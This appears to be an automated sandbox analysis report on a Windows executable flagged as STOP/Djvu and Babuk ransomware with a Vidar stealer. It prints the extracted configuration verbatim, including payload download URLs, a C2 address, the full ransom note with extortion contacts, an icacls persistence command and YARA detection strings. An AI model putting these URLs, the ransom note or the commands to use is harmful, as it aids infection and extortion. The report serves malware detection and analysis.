Edit tour

Windows Analysis Report
sbvN2ih5AU.exe

Overview

General Information

Sample name:	sbvN2ih5AU.exe renamed because original name is a hash value
Original sample name:	daa8db2383e3d9fe6cc680385e04fd9aeecee60bc13a4d7c75e55d8d40258d58.exe
Analysis ID:	1372455
MD5:	2950cf3e600789b6045b872e19471b0c
SHA1:	2aabfb0a893aad067f2dd8ec2bad8bcadb17bfae
SHA256:	daa8db2383e3d9fe6cc680385e04fd9aeecee60bc13a4d7c75e55d8d40258d58
Tags:	exeStop
Infos:

Detection

Babuk, Djvu, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected AntiVM3

Yara detected Babuk Ransomware

Yara detected Djvu Ransomware

Yara detected Vidar stealer

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found stalling execution ending in API Sleep call

Infects executable files (exe, dll, sys, html)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies existing user documents (likely ransomware behavior)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Writes a notice file (html or txt) to demand a ransom

Writes many files with high entropy

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops certificate files (DER)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after checking a module file name)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Tries to load missing DLLs

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses cacls to modify the permissions of files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

sbvN2ih5AU.exe (PID: 7336 cmdline: C:\Users\user\Desktop\sbvN2ih5AU.exe MD5: 2950CF3E600789B6045B872E19471B0C)

sbvN2ih5AU.exe (PID: 7356 cmdline: C:\Users\user\Desktop\sbvN2ih5AU.exe MD5: 2950CF3E600789B6045B872E19471B0C)

icacls.exe (PID: 7424 cmdline: icacls "C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f" /deny *S-1-1-0:(OI)(CI)(DE,DC) MD5: 2E49585E4E08565F52090B144062F97E)

sbvN2ih5AU.exe (PID: 7456 cmdline: "C:\Users\user\Desktop\sbvN2ih5AU.exe" --Admin IsNotAutoStart IsNotTask MD5: 2950CF3E600789B6045B872E19471B0C)

sbvN2ih5AU.exe (PID: 7472 cmdline: "C:\Users\user\Desktop\sbvN2ih5AU.exe" --Admin IsNotAutoStart IsNotTask MD5: 2950CF3E600789B6045B872E19471B0C)

build2.exe (PID: 7644 cmdline: "C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe" MD5: C4070DA9F9B0581171AF16E681CCDFF8)

build2.exe (PID: 7660 cmdline: "C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe" MD5: C4070DA9F9B0581171AF16E681CCDFF8)

sbvN2ih5AU.exe (PID: 7516 cmdline: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe --Task MD5: 2950CF3E600789B6045B872E19471B0C)

sbvN2ih5AU.exe (PID: 7532 cmdline: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe --Task MD5: 2950CF3E600789B6045B872E19471B0C)

sbvN2ih5AU.exe (PID: 7704 cmdline: "C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe" --AutoStart MD5: 2950CF3E600789B6045B872E19471B0C)

sbvN2ih5AU.exe (PID: 7732 cmdline: "C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe" --AutoStart MD5: 2950CF3E600789B6045B872E19471B0C)

sbvN2ih5AU.exe (PID: 8060 cmdline: "C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe" --AutoStart MD5: 2950CF3E600789B6045B872E19471B0C)

sbvN2ih5AU.exe (PID: 8080 cmdline: "C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe" --AutoStart MD5: 2950CF3E600789B6045B872E19471B0C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Babuk	Babuk Ransomware is a sophisticated ransomware compiled for several platforms. Windows and ARM for Linux are the most used compiled versions, but ESX and a 32bit old PE executable were observed over time. as well It uses an Elliptic Curve Algorithm (Montgomery Algorithm) to build the encryption keys.	No Attribution	http://chuongdong.com/reverse%20engineering/2021/01/03/BabukRansomware/ https://blog.cyble.com/2022/05/06/rebranded-babuk-ransomware-in-action-darkangels-ransomware-performs-targeted-attack/ https://blog.morphisec.com/babuk-ransomware-variant-major-attack https://blog.talosintelligence.com/2021/11/babuk-exploits-exchange.html https://chuongdong.com/reverse%20engineering/2021/01/16/BabukRansomware-v3/	https://malpedia.caad.fkie.fraunhofer.de/details/win.babuk

Name	Description	Attribution	Blogpost URLs	Link
STOP, Djvu	STOP Djvu Ransomware it is a ransomware which encrypts user data through AES-256 and adds one of the dozen available extensions as marker to the encrypted file's name. It is not used to encrypt the entire file but only the first 5 MB. In its original version it was able to run offline and, in that case, it used a hard-coded key which could be extracted to decrypt files.	No Attribution	https://angle.ankura.com/post/102het9/the-stop-ransomware-variant https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/ https://cybleinc.com/2021/06/21/djvu-malware-of-stop-ransomware-family-back-with-new-variant/ https://drive.google.com/file/d/1L8mkylrCJyd-817-45RA6gIFCCX4oaOv/view	https://malpedia.caad.fkie.fraunhofer.de/details/win.stop

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Djvu

{"Download URLs": ["http://brusuax.com/dl/build2.exe", "http://zexeq.com/files/1/build3.exe"], "C2 url": "http://zexeq.com/test1/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-99MNqXMrdS\r\nPrice of private key and decrypt software is $1999.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $999.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshingmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelpyou@airmail.cc\r\n\r\nYour personal ID:\r\n0840ASdw", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\PerfLogs\\", "F:\\ProgramData\\Desktop\\", "F:\\ProgramData\\Microsoft\\", "F:\\Users\\Public\\", "F:\\$Recycle.Bin\\", "F:\\$WINDOWS.~BT\\", "F:\\dell\\", "F:\\Intel\\"], "Public Key": "-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnyUOiB2xE7x0hu\\/sWjMd\\\\nsFuLWuCJ5W6ojiVZfPkO3WsiKQE44ncZ7vAvQJa0bzVOF1YKNM9ycEaFo3i1IYPt\\\\nxz\\/jq68R20b+hkZtNTv54hcU7\\/Ez+0pdyzteV5Zhg7wXU130hV2tpLc73CPJWPbH\\\\n1Cb\\/TPj2BV1MyBjdQNygBMKZXr5AiecEZscmy3tPXp6G+PWkUj06eqE1m7OGGguB\\\\n99Z7DX1\\/1zY5jmMj5lpDmJWwWf7WaMni1yYPeNWGd67CNvvOmb+YjuTg4HXMAgQ2\\\\nWnCip4mCf70IqmZ2U\\/J0OUQFuCkNaQb0Q0aLFcT4bMDszWR\\/xOhuh2YWJQ0LO+gm\\\\nJQIDAQAB\\\\n-----END PUBLIC KEY-----"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000007.00000002.1798985147.0000000000603000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x13c8:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.1664626535.0000000002556000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000005.00000002.1693681111.0000000002545000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000003.00000002.1688480237.00000000026B0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000003.00000002.1688480237.00000000026B0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000008.00000002.2926994377.000000000044C000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000006.00000002.2927187768.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000006.00000002.2927187768.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000006.00000002.2927187768.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000A.00000002.1834461472.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000A.00000002.1834461472.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000A.00000002.1834461472.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000D.00000002.1897177575.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000D.00000002.1897177575.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000D.00000002.1897177575.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000C.00000002.1887388348.0000000002504000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.1664717343.00000000026F0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000000.00000002.1664717343.00000000026F0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000C.00000002.1887517098.00000000027E0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000C.00000002.1887517098.00000000027E0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000009.00000002.1813074892.0000000000A95000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000009.00000002.1813253516.0000000002620000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000009.00000002.1813253516.0000000002620000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000003.00000002.1688362361.000000000256B000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000005.00000002.1693753075.00000000025E0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000005.00000002.1693753075.00000000025E0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
Process Memory Space: sbvN2ih5AU.exe PID: 7336	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: sbvN2ih5AU.exe PID: 7336	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x42d75:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: sbvN2ih5AU.exe PID: 7356	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: sbvN2ih5AU.exe PID: 7356	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x524f5:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: sbvN2ih5AU.exe PID: 7456	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: sbvN2ih5AU.exe PID: 7456	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x310ea:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: sbvN2ih5AU.exe PID: 7472	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: sbvN2ih5AU.exe PID: 7472	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: sbvN2ih5AU.exe PID: 7472	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x79b39d:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: sbvN2ih5AU.exe PID: 7516	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: sbvN2ih5AU.exe PID: 7516	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x4849f:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: sbvN2ih5AU.exe PID: 7532	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: sbvN2ih5AU.exe PID: 7532	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: sbvN2ih5AU.exe PID: 7532	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x35a2c:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: build2.exe PID: 7660	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: build2.exe PID: 7660	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: build2.exe PID: 7660	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: sbvN2ih5AU.exe PID: 7704	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: sbvN2ih5AU.exe PID: 7704	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x4838a:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: sbvN2ih5AU.exe PID: 7732	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: sbvN2ih5AU.exe PID: 7732	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x35d3b:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: sbvN2ih5AU.exe PID: 8060	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: sbvN2ih5AU.exe PID: 8060	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3412b:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: sbvN2ih5AU.exe PID: 8080	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: sbvN2ih5AU.exe PID: 8080	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x31a2f:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Click to see the 52 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
3.2.sbvN2ih5AU.exe.26b15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
3.2.sbvN2ih5AU.exe.26b15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
3.2.sbvN2ih5AU.exe.26b15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
10.2.sbvN2ih5AU.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
